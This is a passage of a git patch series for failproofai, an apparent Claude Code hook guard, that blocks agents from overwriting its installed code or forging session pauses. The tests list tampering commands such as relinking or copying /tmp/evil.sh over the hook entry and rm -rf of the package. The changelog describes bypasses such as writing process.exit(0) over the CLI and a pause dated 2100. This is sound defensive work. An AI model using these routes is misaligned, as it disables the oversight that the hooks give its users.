a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index b4f9e0692..785c6f2f5 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -156,11 +156,35 @@ describe("block-failproofai-commands — failproofai's installed code", () => { expect((await write("elsewhere/tool.mjs", root)).decision).toBe("deny"); }); + // `path.resolve` and Node's realpathSync collapse `..` as text before they + // follow links, so this resolved to `elsewhere/dist/cli.mjs` — a path that + // does not exist — while open(2) follows `pkg` first and writes the CLI. + // (Template strings, not `join`, which would collapse the `..` right here.) + it("steps out of a link the way the kernel does, not the way path.resolve does", async () => { + expect((await write(`${root}/elsewhere/pkg/../failproofai/dist/cli.mjs`)).decision).toBe("deny"); + const viaDist = join(root, "elsewhere", "dist-link"); + symlinkSync(join(pkg, "dist"), viaDist); + expect((await write(`${viaDist}/../dist/cli.mjs`)).decision).toBe("deny"); + // And the same `..` from a directory that is not a link lands next to it. + expect((await write(`${root}/elsewhere/../elsewhere/notes.md`)).decision).toBe("allow"); + }); + it("still allows an ordinary file next to the links", async () => { expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); }); }); + // Tool input is untrusted JSON. A throw from the guard takes it out of the + // evaluation entirely, so a malformed path must be judged, not crash it. + it("judges a non-string path instead of throwing", async () => { + const odd = async (file_path: unknown) => + (await policy.fn(makeCtx({ toolName: "Write", toolInput: { file_path, content: "x" }, session: { cwd: "/work/proj" } }))) + .decision; + expect(await odd(42)).toBe("allow"); + expect(await odd({ path: "/tmp/x" })).toBe("allow"); + expect(await odd(["/usr/local/bin/failproofai"])).toBe("deny"); + }); + // Not a general file-write blocker: the package directory and the bin // entry, and nothing that merely carries the name. it.each([ @@ -171,6 +195,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a package that only shares a prefix", "/work/proj/node_modules/failproofai-extras/index.js"], ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], ["a project file named after the product", "/work/proj/src/failproofai.ts"], + ["a project in a directory of that name under bin/", "/home/u/bin/failproofai/src/index.ts"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -188,9 +213,18 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["cd into the package, then delete", `cd ${NVM_PKG} && rm -rf dist`], ["a project install", "rm -rf node_modules/failproofai"], ["a glob onto a project install", "rm -rf node_modules/fail*"], + ["a dotted glob onto a project install", "rm -rf ./node_modules/fail*"], ["relinking the hook entry", "ln -sf /tmp/evil.sh /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], ["copying over the hook entry", "cp /tmp/evil.sh /usr/local/bin/failproofai"], ["installing over the hook entry", "install -m 755 /tmp/evil.sh /home/u/.bun/bin/failproofai"], + // The variables nvm and pnpm export for the directory the entry lives in. + ["copying over the entry through $NVM_BIN", 'cp /tmp/evil.sh "$NVM_BIN/failproofai"'], + ["relinking the entry through ${PNPM_HOME}", "ln -sf /tmp/evil.sh ${PNPM_HOME}/failproofai"], + // pnpm keeps the package one directory above its own node_modules. + ["removing pnpm's store entry in a project", "rm -rf node_modules/.pnpm/failproofai@1.0.15"], + ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], + ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], + ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -204,6 +238,8 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["backing the package up", "cp -r node_modules/failproofai /tmp/fp-backup"], ["a clean reinstall", "rm -rf node_modules && npm ci"], ["clearing every dependency", "rm -rf node_modules/*"], + ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], + ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], ["cloning the repo", "git clone https://github.com/FailproofAI/failproofai"], diff --git a/__tests__/hooks/session-pause-cli.test.ts b/__tests__/hooks/session-pause-cli.test.ts index 906cf5fb9..a605030ed 100644 --- a/__tests__/hooks/session-pause-cli.test.ts +++ b/__tests__/hooks/session-pause-cli.test.ts @@ -257,6 +257,18 @@ describe("--resume", () => { expect(readActivePause("s1", NOW)).toBeNull(); expect(readActivePause("s2", NOW)).toBeNull(); }); + + // A pause file dated in the future is not honoured, so it is not listed — but + // it turns live when its date arrives. `--all` is how a person ends every + // pause, so it must remove that one too (FailproofAI/agenteye#1796). + it("--all also removes a pause dated in the future, before it can turn live", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + writePause({ sessionId: "later", durationMs: 600_000, now: NOW + 3_600_000 }); + expect(readActivePause("later", NOW)).toBeNull(); + const r = runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW, render: PLAIN }); + expect(r.affected).toBe(1); + expect(readActivePause("later", NOW + 3_600_000)).toBeNull(); + }); }); // `--status` is a whole-machine screen now (config-status.ts). Its two tests diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 55e0697f5..9c6378bb6 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -6,6 +6,7 @@ import { resolve } from "node:path"; import { PAUSE_CEILING_MS, PAUSE_DEFAULT_MS, + clearAllPauses, clearPause, formatDuration, listActivePauses, @@ -255,6 +256,26 @@ describe("pause state", () => { expect(renewed.firstPausedAt).toBe(now); expect(renewed.expiresAt).toBe(now + 60_000); }); + + // A renewal carries the run's start forward. After a small clock step back, + // that start reads as later than the renewal, and the reader would refuse + // the very pause the CLI had just reported extended. + it("survives a renewal issued just after the clock stepped back", () => { + writePause({ sessionId: "sess-c", durationMs: 600_000, now }); + const renewed = writePause({ sessionId: "sess-c", durationMs: 600_000, now: now - 30_000 }); + expect(renewed.firstPausedAt).toBe(now - 30_000); + expect(readActivePause("sess-c", now - 30_000)?.expiresAt).toBe(now + 570_000); + }); + + // Not honoured yet is not the same as gone: a file dated an hour ahead turns + // live in an hour. Ending every pause has to end that one too. + it("is removed by clearAllPauses, which counts only the active ones", () => { + forge({ pausedAt: now + 3_600_000, firstPausedAt: now + 3_600_000, expiresAt: now + 9 * 3_600_000 }); + writePause({ sessionId: "sess-live", durationMs: 600_000, now }); + expect(clearAllPauses(now)).toBe(1); + expect(readdirSync(pauseStateDir())).toEqual([]); + expect(readActivePause("sess-f", now + 2 * 3_600_000)).toBeNull(); + }); }); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 7c62bc41c..f63fd9cd7 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1,8 +1,8 @@ /** * Built-in security policies for Claude Code hooks. */ -import { resolve, join, dirname, basename, isAbsolute } from "node:path"; -import { realpathSync, statSync } from "node:fs"; +import { resolve, join } from "node:path"; +import { lstatSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -474,24 +474,36 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; * tampered client never asks it. The state pattern below needs a `.` the * package path does not have (FailproofAI/agenteye#1796). * - * - `node_modules/failproofai`, in every layout a package manager uses — and - * `node_modules/@failproofai/failproofaid-*`, the daemon's platform package, - * which `failproofai config` and `update` copy into place (on Linux as root, - * under `/opt`). - * - `…/bin/failproofai`, the entry npm, nvm, Homebrew, bun, Volta and yarn put - * on PATH, and `…/pnpm/failproofai`, which pnpm puts directly in its home. - * - * A checkout of this repository matches neither — no `node_modules` above it, - * and its entry is `bin/failproofai.mjs` — so the guard does not stand in front - * of working on failproofai itself. `node_modules/.bin/failproofai`, the stub - * `npx` prefers, is not matched here either (FailproofAI/agenteye#1795). + * A checkout of this repository matches none of the shapes below — no + * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard + * does not stand in front of working on failproofai itself. + * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here + * either (FailproofAI/agenteye#1795). * * Case-insensitive because macOS volumes are by default: every casing of these * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path - * resolver collapses. - */ -const FAILPROOFAI_CODE_PATH_RE = - /node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)|[\\/](?:bin|pnpm)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@-])/i; + * resolver collapses. This matches the path as WRITTEN: a shell spelling that + * only the shell resolves — `..`, a `cd` before a relative path, a command + * substitution — is beyond it, as it is for the state (see `stripShellQuoting`). + * The file tools also check the path a write really lands on (`resolveWriteTarget`). + */ +const FAILPROOFAI_CODE_PATH_RE = new RegExp( + [ + // The package, in every layout a package manager uses, and the daemon's + // platform package, which `failproofai config` and `update` copy into place + // (on Linux as root, under `/opt`). + String.raw`node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)`, + // pnpm's virtual store, which holds each package one directory above its + // own `node_modules/failproofai`. + String.raw`\.pnpm[\\/](?:\.?[\\/])*(?:failproofai|@failproofai\+failproofaid[\w.-]*)@`, + // The entry a hook command names: `…/bin/failproofai` for npm, nvm, + // Homebrew, bun, Volta and yarn, `…/pnpm/failproofai` for pnpm's home, and + // the variables nvm and pnpm export for those directories. A FILE, so a + // directory of that name (`~/bin/failproofai/src/…`) is not it. + String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + ].join("|"), + "i", +); /** * failproofai's own files: its state, and the installed code above. @@ -509,10 +521,16 @@ const FAILPROOFAI_STATE_PATH_RE = new RegExp( "i", ); -/** Which of failproofai's own files `path` names, for a deny message that says which. */ -function failproofaiFileKind(path: string): "state" | "code" | null { - if (!path || !FAILPROOFAI_STATE_PATH_RE.test(path)) return null; - return FAILPROOFAI_CODE_PATH_RE.test(path) ? "code" : "state"; +/** + * Which of failproofai's own files `path` names, for a deny message that says + * which. Tool input is untrusted JSON, so a non-string is read the way + * `RegExp.test` always read it — as its string form — rather than waved through. + */ +function failproofaiFileKind(path: unknown): "state" | "code" | null { + if (path === undefined || path === null || path === "") return null; + const text = String(path); + if (!FAILPROOFAI_STATE_PATH_RE.test(text)) return null; + return FAILPROOFAI_CODE_PATH_RE.test(text) ? "code" : "state"; } /** @@ -520,28 +538,60 @@ function failproofaiFileKind(path: string): "state" | "code" | null { * * A file tool writes THROUGH a link, so the path it is handed is not * necessarily the one it changes — and npm, nvm and bun install the - * `failproofai` bin entry as exactly such a link into the package. A tail that - * does not exist yet (a file about to be created) is re-attached to the deepest - * ancestor that does, so a new file under a linked directory resolves too. A - * relative path is taken from the session's directory, not this process's: the - * daemon's worker runs somewhere else entirely. - * - * "" when nothing resolves. Never throws — this runs for every file write. - */ -function resolveWriteTarget(path: string, cwd: string | undefined): string { - let current = isAbsolute(path) ? path : path && cwd ? join(cwd, path) : ""; - const missing: string[] = []; - for (let depth = 0; current && depth < 64; depth++) { - try { - return join(realpathSync(current), ...missing); - } catch { - const parent = dirname(current); - if (parent === current) break; - missing.unshift(basename(current)); - current = parent; + * `failproofai` bin entry as exactly such a link into the package. + * + * Walked one component at a time, the way the kernel resolves a path: a link is + * expanded where it stands, and a `..` after it steps out of what it points at. + * `path.resolve` and Node's `realpathSync` both collapse `..` as TEXT first, so + * a write to `/../dist/cli.mjs` resolved to a harmless path + * while `open(2)` wrote the CLI. From the first component that does not exist + * nothing below can be a link, so the rest is the tail of a file being created. + * A relative path is taken from the session's directory, not this process's — + * the daemon's worker runs somewhere else entirely — and `~` from home. + * + * "" when nothing resolves. Never throws, whatever the tool input holds: a + * throw here would take the always-on guard out of the evaluation. + */ +function resolveWriteTarget(path: unknown, cwd: unknown): string { + if (typeof path !== "string" || path === "") return ""; + try { + const expanded = path === "~" || path.startsWith("~/") ? homedir() + path.slice(1) : path; + const start = expanded.startsWith("/") + ? expanded + : typeof cwd === "string" && cwd.startsWith("/") + ? `${cwd}/${expanded}` + : ""; + if (!start) return ""; + const pending = start.split("/"); + let resolved = ""; // "" is the root + for (let links = 0; pending.length > 0; ) { + const part = pending.shift()!; + if (part === "" || part === ".") continue; + if (part === "..") { + resolved = resolved.slice(0, resolved.lastIndexOf("/")); + continue; + } + const next = `${resolved}/${part}`; + let isLink: boolean; + try { + isLink = lstatSync(next).isSymbolicLink(); + } catch { + return join(next, ...pending); + } + if (!isLink) { + resolved = next; + continue; + } + // The kernel's own bound on a chain of links (MAXSYMLINKS). + if (++links > 40) return ""; + const target = readlinkSync(next); + if (target.startsWith("/")) resolved = ""; + pending.unshift(...target.split("/")); } + return resolved || "/"; + } catch { + return ""; } - return ""; } /** @@ -782,6 +832,8 @@ const STATE_GLOB_CANDIDATES = [ // directory and the npx cache's hash are not, so a glob under those is not one // this list can anticipate; the literal paths there still match. "node_modules/failproofai", + "./node_modules/failproofai", + "node_modules/.pnpm/failproofai@1.0.0", "/usr/local/lib/node_modules/failproofai", "/usr/lib/node_modules/failproofai", "/opt/homebrew/lib/node_modules/failproofai", @@ -808,7 +860,7 @@ const GLOB_DECOYS = [ "a", "foo.txt", "test-failures", // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and // its global equivalents are read as the sweeps they are. - "node_modules/react", "node_modules/.bin", + "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; diff --git a/src/hooks/session-pause-cli.ts b/src/hooks/session-pause-cli.ts index 958b507cb..18d840cbe 100644 --- a/src/hooks/session-pause-cli.ts +++ b/src/hooks/session-pause-cli.ts @@ -12,8 +12,8 @@ */ import { PAUSE_CEILING_MS, + clearAllPauses, clearPause, - listActivePauses, parsePauseDuration, readActivePause, resolveSessionForCwd, @@ -114,9 +114,7 @@ export function runPauseCommand(opts: PauseCommandOptions): PauseCommandResult { if (opts.action === "resume") { const kit = kitFor(true); if (opts.all) { - const active = listActivePauses(now); - let cleared = 0; - for (const pause of active) if (clearPause(pause.sessionId)) cleared++; + const cleared = clearAllPauses(now); return { exitCode: 0, lines: [ diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index 5af52fd59..e09aae835 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ -212,7 +212,10 @@ export function writePause(opts: { // Carry the run's original start forward while a pause is still live, so a // renewal extends the same stretch rather than starting a fresh ceiling. const existing = readActivePause(opts.sessionId, now); - const firstPausedAt = existing?.firstPausedAt ?? now; + // Never later than this renewal: after a small clock step backwards the run's + // start can read as later than `now`, and the reader refuses a start after the + // latest renewal — the pause the CLI just reported extended would not exist. + const firstPausedAt = existing ? Math.min(existing.firstPausedAt, now) : now; const pause: ActivePause = { sessionId: opts.sessionId, pausedAt: now, @@ -240,6 +243,34 @@ export function clearPause(sessionId: string): boolean { } } +/** + * Remove every pause file, whatever it holds. Returns how many pauses were + * ACTIVE, which is what a person ending them is told. + * + * Every file, not every active pause: a file dated in the future is not honoured + * yet, so it is not listed, and clearing only the listed ones left it to turn + * live later — out of sight of the `--resume --all` meant to end them all. + */ +export function clearAllPauses(now = Date.now()): number { + const active = listActivePauses(now).length; + const dir = pauseStateDir(); + let names: string[] = []; + try { + names = readdirSync(dir); + } catch { + return active; + } + for (const name of names) { + if (!name.endsWith(".json")) continue; + try { + rmSync(join(dir, name)); + } catch { + // One file that will not go must not stop the rest. + } + } + return active; +} + /** Every pause that has not yet expired, newest first. Expired files are ignored. */ export function listActivePauses(now = Date.now()): ActivePause[] { const dir = pauseStateDir(); From 8956fde137b7d0391d7d3a7da126f6a2153524e1 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:17:16 +0530 Subject: [PATCH 03/12] [hooks] CHANGELOG: cite #1050 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 517b19a86..aa657727c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,8 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 From ed5eb189155cf76d64c7dde8c5d6fdcf03dc87b4 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:46:46 +0530 Subject: [PATCH 04/12] [hooks] Address hermes review: walk through missing directories; fail --resume --all when a file stays - resolveWriteTarget no longer ends its walk at the first component that does not exist. A write tool that runs `mkdir -p` on the parent creates it, so `missing/../alias.mjs` steps back out and a link named alias.mjs into the package was written through while the guard allowed it. - clearAllPauses reports the active pauses whose file is really gone, and whether anything stayed behind (a file that would not go, or a directory that could not be listed, whose pauses the hook still reads by name). `config --resume --all` exits 1 with that, instead of saying "Resumed" over a pause that is still in force. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-installed-code.test.ts | 9 +++++ __tests__/hooks/session-pause-cli.test.ts | 23 +++++++++++- __tests__/hooks/session-pause.test.ts | 38 ++++++++++++++++++-- src/hooks/builtin-policies.ts | 10 +++--- src/hooks/session-pause-cli.ts | 25 +++++++++---- src/hooks/session-pause.ts | 29 ++++++++++----- 7 files changed, 113 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index aa657727c..7dae2d99a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,7 +10,7 @@ - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 785c6f2f5..8c83fe32c 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -169,6 +169,15 @@ describe("block-failproofai-commands — failproofai's installed code", () => { expect((await write(`${root}/elsewhere/../elsewhere/notes.md`)).decision).toBe("allow"); }); + // A directory that does not exist yet is not where the walk ends: a write + // tool that runs `mkdir -p` on the parent first creates it, `..` steps back + // out, and `tool.mjs` is the link into the package (found in review). + it("walks through a directory that does not exist yet", async () => { + expect((await write(`${root}/elsewhere/missing/../tool.mjs`)).decision).toBe("deny"); + expect((await write(`${root}/elsewhere/a/b/../../tool.mjs`)).decision).toBe("deny"); + expect((await write(`${root}/elsewhere/missing/../notes.md`)).decision).toBe("allow"); + }); + it("still allows an ordinary file next to the links", async () => { expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); }); diff --git a/__tests__/hooks/session-pause-cli.test.ts b/__tests__/hooks/session-pause-cli.test.ts index a605030ed..3987a72fa 100644 --- a/__tests__/hooks/session-pause-cli.test.ts +++ b/__tests__/hooks/session-pause-cli.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync } from "node:fs"; +import { chmodSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -269,6 +269,27 @@ describe("--resume", () => { expect(r.affected).toBe(1); expect(readActivePause("later", NOW + 3_600_000)).toBeNull(); }); + + // A pause file that stays behind is still read by the hook. Reporting + // "Resumed" over it, and exiting 0, left enforcement suspended while saying + // it was back (found in review). Root ignores the mode, so ordinary users only. + it.skipIf(process.getuid?.() === 0)("--all fails, and says so, when a pause file will not go", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + const sessions = resolve(stateDir, "sessions"); + chmodSync(sessions, 0o500); + const r = (() => { + try { + return runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW, render: PLAIN }); + } finally { + chmodSync(sessions, 0o700); + } + })(); + expect(r.exitCode).toBe(1); + expect(r.affected).toBe(0); + expect(r.lines.join("\n")).not.toMatch(/Resumed/); + expect(r.lines[0]).toMatch(/Could not remove every pause file from .*sessions, so enforcement may still be paused/); + expect(readActivePause("s1", NOW)).not.toBeNull(); + }); }); // `--status` is a whole-machine screen now (config-status.ts). Its two tests diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 9c6378bb6..cfd75bfac 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, beforeEach, afterEach } from "vitest"; -import { mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; +import { chmodSync, mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -272,13 +272,47 @@ describe("pause state", () => { it("is removed by clearAllPauses, which counts only the active ones", () => { forge({ pausedAt: now + 3_600_000, firstPausedAt: now + 3_600_000, expiresAt: now + 9 * 3_600_000 }); writePause({ sessionId: "sess-live", durationMs: 600_000, now }); - expect(clearAllPauses(now)).toBe(1); + expect(clearAllPauses(now)).toEqual({ cleared: 1, incomplete: false }); expect(readdirSync(pauseStateDir())).toEqual([]); expect(readActivePause("sess-f", now + 2 * 3_600_000)).toBeNull(); }); }); }); +// A pause file that stays behind is still read by the hook, so it must never be +// counted as cleared (found in review). Root ignores directory modes, so these +// only mean something for an ordinary user, which is what CI runs as. +describe.skipIf(process.getuid?.() === 0)("clearAllPauses when a file will not go", () => { + const now = Date.UTC(2026, 10, 24); + const withMode = (mode: number, body: () => void) => { + chmodSync(pauseStateDir(), mode); + try { + body(); + } finally { + chmodSync(pauseStateDir(), 0o700); + } + }; + + it("does not count a pause it could not remove, and says so", () => { + writePause({ sessionId: "sess-ro", durationMs: 600_000, now }); + withMode(0o500, () => { + expect(clearAllPauses(now)).toEqual({ cleared: 0, incomplete: true }); + }); + expect(readActivePause("sess-ro", now)).not.toBeNull(); + }); + + // Without read permission the directory cannot be listed, but the hook opens + // each pause by name and still finds it — so "nothing listed" is not "nothing + // paused". + it("reports a directory it cannot list instead of calling it empty", () => { + writePause({ sessionId: "sess-nolist", durationMs: 600_000, now }); + withMode(0o300, () => { + expect(clearAllPauses(now)).toEqual({ cleared: 0, incomplete: true }); + expect(readActivePause("sess-nolist", now)).not.toBeNull(); + }); + }); +}); + describe("formatDuration", () => { it("renders seconds, minutes and hours readably", () => { expect(formatDuration(45_000)).toBe("45s"); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index f63fd9cd7..9c13eef60 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -544,8 +544,10 @@ function failproofaiFileKind(path: unknown): "state" | "code" | null { * expanded where it stands, and a `..` after it steps out of what it points at. * `path.resolve` and Node's `realpathSync` both collapse `..` as TEXT first, so * a write to `/../dist/cli.mjs` resolved to a harmless path - * while `open(2)` wrote the CLI. From the first component that does not exist - * nothing below can be a link, so the rest is the tail of a file being created. + * while `open(2)` wrote the CLI. A component that does not exist is walked as + * the plain directory a write tool's `mkdir -p` would make of it — NOT taken as + * the end of the walk: `missing/../alias.mjs` steps straight back out, and + * `alias.mjs` can be a link into the package (found in review, PR #1050). * A relative path is taken from the session's directory, not this process's — * the daemon's worker runs somewhere else entirely — and `~` from home. * @@ -572,11 +574,11 @@ function resolveWriteTarget(path: unknown, cwd: unknown): string { continue; } const next = `${resolved}/${part}`; - let isLink: boolean; + let isLink = false; try { isLink = lstatSync(next).isSymbolicLink(); } catch { - return join(next, ...pending); + // Missing or unreadable: a plain directory once created, so walk on. } if (!isLink) { resolved = next; diff --git a/src/hooks/session-pause-cli.ts b/src/hooks/session-pause-cli.ts index 18d840cbe..f39086e35 100644 --- a/src/hooks/session-pause-cli.ts +++ b/src/hooks/session-pause-cli.ts @@ -15,6 +15,7 @@ import { clearAllPauses, clearPause, parsePauseDuration, + pauseStateDir, readActivePause, resolveSessionForCwd, writePause, @@ -114,14 +115,26 @@ export function runPauseCommand(opts: PauseCommandOptions): PauseCommandResult { if (opts.action === "resume") { const kit = kitFor(true); if (opts.all) { - const cleared = clearAllPauses(now); + const { cleared, incomplete } = clearAllPauses(now); + const resumed = (k: typeof kit) => k.ok(`Resumed enforcement for ${cleared} session${cleared === 1 ? "" : "s"}.`); + if (incomplete) { + // A pause file that stayed behind is still read by the hook, so this is + // a failure even if some pauses did end: saying "Resumed" over it would + // leave someone believing enforcement is back on when it is not. + const failKit = kitFor(false); + return { + exitCode: 1, + lines: [ + ...(cleared > 0 ? [resumed(failKit)] : []), + failKit.fail(`Could not remove every pause file from ${pauseStateDir()}, so enforcement may still be paused.`), + `${INDENT}Check that directory's permissions, then run this again.`, + ], + affected: cleared, + }; + } return { exitCode: 0, - lines: [ - cleared === 0 - ? "Nothing was paused." - : kit.ok(`Resumed enforcement for ${cleared} session${cleared === 1 ? "" : "s"}.`), - ], + lines: [cleared === 0 ? "Nothing was paused." : resumed(kit)], affected: cleared, }; } diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index e09aae835..e49d07afb 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ 